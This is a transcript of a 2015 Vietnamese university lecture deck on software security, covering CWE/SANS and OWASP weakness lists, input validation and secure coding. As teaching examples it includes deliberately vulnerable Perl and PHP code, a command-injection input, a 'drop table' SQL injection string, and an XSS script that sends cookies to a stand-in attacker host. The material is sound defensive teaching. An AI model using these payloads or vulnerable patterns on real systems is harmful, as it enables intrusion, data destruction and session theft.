An toàn và bảo mật hệ thống thông tin - C7: software security
-
Upload
phan-khanh-toan -
Category
Education
-
view
518 -
download
7
Transcript of An toàn và bảo mật hệ thống thông tin - C7: software security
9/21/2015
1
Giảng viên: Lê Phúc
Email: [email protected]
Website: http://is.ptithcm.edu.vn/~lephuc
Software security
INT1303 Information security, PTITHCM, 2015
Lỗi phần mềm2
Bình quân có 5 lỗi trong 10.000 dòng lệnh
Mỗi máy tính có khoảng 3000 file thực thi, mỗi
file có khoảng 100.000 dòng lệnh
Mỗi chương trình có khoảng 50 lỗi, mỗi máy
tính có khoảng 150.000 lỗi.
Có khoảng 10% lỗi nghiêm trọng, trong đó
10% lỗi có thể khai thác từ xa.
9/21/2015
2
Lỗi phần mềm
INT1303 Information security, PTITHCM, 2015
3
Error: Lỗi lập trình do con người
Fault: Trạng thái khi thực thi chương trình lỗi
Failure: Sự cố hệ thống có nguyên do từ lỗi
phần mềm
Flaw = Error + Fault + Failure
char array[10];
for(i = 0; i <= 10; ++i )
array[i] = `A`;
Các lỗi phần mềm nghiêm trọng
INT1303 Information security, PTITHCM, 2015
4
CWE/SANS liệt kê 25 lỗi bảo mật nguy hiểm
nhất, chia thành 3 nhóm:
Insecure Interaction Between Components
Risky Resource Management
Porous Defenses
9/21/2015
3
Lỗi giao tiếp giữa các thành phần
INT1303 Information security, PTITHCM, 2015
5
Improper Neutralization of Special Elements used in an SQL Command (“SQL Injection”)
Improper Neutralization of Special Elements used in an OS Command (“OS Command Injection”)
Improper Neutralization of Input During Web Page Generation (“Cross-site Scripting”)
Unrestricted Upload of File with Dangerous Type
Cross-Site Request Forgery (CSRF)
URL Redirection to Untrusted Site (“Open Redirect”)
Lỗi quản lý tài nguyên
INT1303 Information security, PTITHCM, 2015
6
Buffer Copy without Checking Size of Input (“Classic Buffer Overflow”)
Improper Limitation of a Pathname to a Restricted Directory (“Path Traversal”)
Download of Code Without Integrity Check
Inclusion of Functionality from Untrusted Control Sphere
Use of Potentially Dangerous Function
Incorrect Calculation of Buffer Size
Uncontrolled Format String
Integer Overflow or Wraparound
9/21/2015
4
Lỗi bảo vệ hệ thống
INT1303 Information security, PTITHCM, 2015
7
Missing Authentication for Critical Function
Missing Authorization
Use of Hard-coded Credentials
Missing Encryption of Sensitive Data
Reliance on Untrusted Inputs in a Security Decision
Execution with Unnecessary Privileges
Incorrect Authorization
Incorrect Permission Assignment for Critical Resource
Use of a Broken or Risky Cryptographic Algorithm
Improper Restriction of Excessive Authentication Attempts
Use of a One-Way Hash without a Salt
OWASP top 10
INT1303 Information security, PTITHCM, 2015
8
A1-Injection
A2-Broken Authentication and Session Management
A3-Cross-Site Scripting (XSS)
A4-Insecure Direct Object References
A5-Security Misconfiguration
A6-Sensitive Data Exposure
A7-Missing Function Level Access Control
A8-Cross-Site Request Forgery (CSRF)
A9-Using Components with Known Vulnerabilities
A10-Unvalidated Redirects and Forwards
9/21/2015
5
Phần mềm an toàn
INT1303 Information security, PTITHCM, 2015
9
Các bước đảm bảo an toàn trong xây dựng
phần mềm
Xử lý dữ liệu nhập
Viết mã nguồn an toàn
Đảm bảo an toàn khi tương tác với Hệ điều hành
và các thành phần khác
Xử lý dữ liệu xuất
Phần mềm máy tính
INT1303 Information security, PTITHCM, 2015
10
9/21/2015
6
Xử lý dữ liệu nhập
INT1303 Information security, PTITHCM, 2015
11
Kiểm tra dung lượng dữ liệu nhập
Phân tích dữ liệu nhập
Injection attacks
Cross-site scripting attacks
Kiểm tra cú pháp nhập liệu
Input fuzzing
Kiểm tra kích thước dữ liệu nhập
INT1303 Information security, PTITHCM, 2015
12
Lỗi buffer overflow thường khó phát hiện trong
quá trình kiểm tra phần mềm. Khi lập trình cần
chủ động:
Dùng các hàm nhập liệu an toàn (tránh các thư
viện C truyền thống).
Cấp phát bộ nhớ động.
Kiểm tra kích thước dữ liệu trước khi thực hiện
thao tác gán.
9/21/2015
7
Phân tích dữ liệu nhập
INT1303 Information security, PTITHCM, 2015
13
Phân biệt dữ liệu nhị phân và dữ liệu text.
Xử lý đúng kiểu dữ liệu.
Phân tích các cấu trúc một cách chính xác, có kiểm tra tính hợp hệ của từng thành phần (kiểu cấu trúc, đối tượng, các gói dữ liệu của từng giao thức khác nhau)
Hai loại tấn công điển hình liên quan:
Injection attack
XSS attack
Injection attacks
INT1303 Information security, PTITHCM, 2015
14
Các kiểu injection:
Command injection
SQL injection
Các ngôn ngữ liên quan:
PHP
Perl
Python, ...
9/21/2015
8
Command injection
INT1303 Information security, PTITHCM, 2015
15
Server-side script:
$q = new CGI;
print $q->header,
$q-> start_html('Finger User');
$user = $q->param("user");
print ‘/usr/bin/finger -sh $user’;
print $q->end_html;
Command injection
INT1303 Information security, PTITHCM, 2015
16
Client-side form:
<html><head><title>Finger User </title> </head> <body> </html>
<h1>Finger User</h1>
<form method=post action="finger.cgi">
<b>Username to finger</b>: <input type=text name=user value="">
<p><input type=submit value="Finger User">
</form></body></html>
9/21/2015
9
INT1303 Information security, PTITHCM, 2015
17
Command injection
INT1303 Information security, PTITHCM, 2015
18
Kết quả khi nhập lpb:
Kết quả khi nhập xxx; echo attack
success; ls -l finger*
9/21/2015
10
SQL injection
INT1303 Information security, PTITHCM, 2015
19
Server-side script:
$name = $_REQUEST['name'];
$query = “SELECT * FROM suppliers
WHERE name = ‘” . $name . “’;”;
$result = mysql_query($query);
Nếu dữ liệu nhập là: Bob'; drop table
suppliers
Kết quả?
XSS attack
INT1303 Information security, PTITHCM, 2015
20
Phân loại:
Stored XSS
Reflected XSS
DOM Based XSS
Ngôn ngữ liên quan:
JavaScript, ActiveX, VBScript, Flash,...
9/21/2015
11
XSS attack
INT1303 Information security, PTITHCM, 2015
21
Ví dụ: plain XSS
Thanks for this information, its
great!
<script>document.location='http://ha
cker.web.site/cookie.cgi?'+
document.cookie</script>
XSS attack
INT1303 Information security, PTITHCM, 2015
22
Ví dụ: Encoded XSS
Thanks for this information, its great!
<script>document.location='http://hacker...
9/21/2015
12
Kiểm tra cú pháp nhập liệu
INT1303 Information security, PTITHCM, 2015
23
Kiểm tra dữ liệu bằng biểu thức chính quy
(regular expression)
Chuẩn hóa dữ liệu nhập trước khi kiểm tra
(canonicalization)
Input fuzzing
INT1303 Information security, PTITHCM, 2015
24
Kiểm tra phần mềm bằng bộ dữ liệu được sinh
ngẫu nhiên
Sử dụng các mẫu thử (template) được thiết kế
để khai thác các lỗi cụ thể
9/21/2015
13
Lập trình an toàn
INT1303 Information security, PTITHCM, 2015
25
Giải thuật đúng
Thiết kế và kiểm tra giải thuật
Biên dịch đúng:
Xây dựng hệ thống biên dịch tin cậy
Xử lý dữ liệu đúng
Phân tích đúng kiểu dữ liệu
Sử dụng bộ nhớ đúng
Cấp phát bộ nhớ động (C khác với C++/Java)
Tránh race condition
Sử dụng các giải pháp đồng bộ
Tương tác với HĐH
INT1303 Information security, PTITHCM, 2015
26
Các biến môi trường
Cấp quyền phù hợp
Sử dụng hàm hệ thống và thư viện
Ngăn chặn race condition
Sử dụng file tạm một cách an toàn
Tương tác với các chương trình khác
9/21/2015
14
Xử lý các biến môi trường
INT1303 Information security, PTITHCM, 2015
27
Environment variables: chuỗi mô tả trạng thái
hoạt động, ví dụ PATH, COMSPEC,
LD_LIBRARY_PATH, ...
Tiến trìh kế thừa các biến này từ tiến trình cha,
tiến trình cha lấy các biến từ HĐH
Đây là một kênh để đưa dữ liệu không an toàn
vào chương trình.
Kiểm tra chặt chẽ khi tạo các shell scripts
Least privilege
INT1303 Information security, PTITHCM, 2015
28
Cấp quyền vừa đủ cho user objects
User mặc định của các dịch vụ:
Mail server
DBMS
Web server
...
IUSR_MachineName là user nào?
9/21/2015
15
Sử dụng hàm hệ thống và thư viện
INT1303 Information security, PTITHCM, 2015
29
Các hàm hệ thống (system calls) là thành phần quan trọng của phần mềm.
System calls làm việc theo cơ chế chia sẻ giữa nhiều tiến trình, quan tâm đến hiệu năng hệ thống hơn là độ an toàn của từng tiến trình.
Chú ý tới các cơ chế xuất nhập dữ liệu trên hệ thống:
Ghi/xóa dữ liệu trên đĩa
Cập nhật dữ liệu trên buffer
Các vấn đề khác
INT1303 Information security, PTITHCM, 2015
30
Race condition
Sử dụng file tạm: lock file, dùng tên ngẫu
nhiên, tên gắn với PID, ...
Bảo vệ dữ liệu khi tương tác với chương trình
khác
9/21/2015
16
Xử lý dữ liệu xuất
INT1303 Information security, PTITHCM, 2015
31
Dữ liệu xuất từ chương trình có thể:
Lưu trữ (database)
Truyền qua mạng
Xuất ra thiết bị xuất
Cần ngăn chặn việc xuất các thông tin nguy
hiểm đến hệ thống:
Các báo lỗi
Thông tin cấu hình, ...
Penetration testing
INT1303 Information security, PTITHCM, 2015
32
Kiểm tra phần mềm bằng cách xâm nhập.
Không có thông tin về hoạt động bên trong của
phần mềm.
Thường dùng để kiểm tra các dịch vụ
Tham khảo OWASP test guide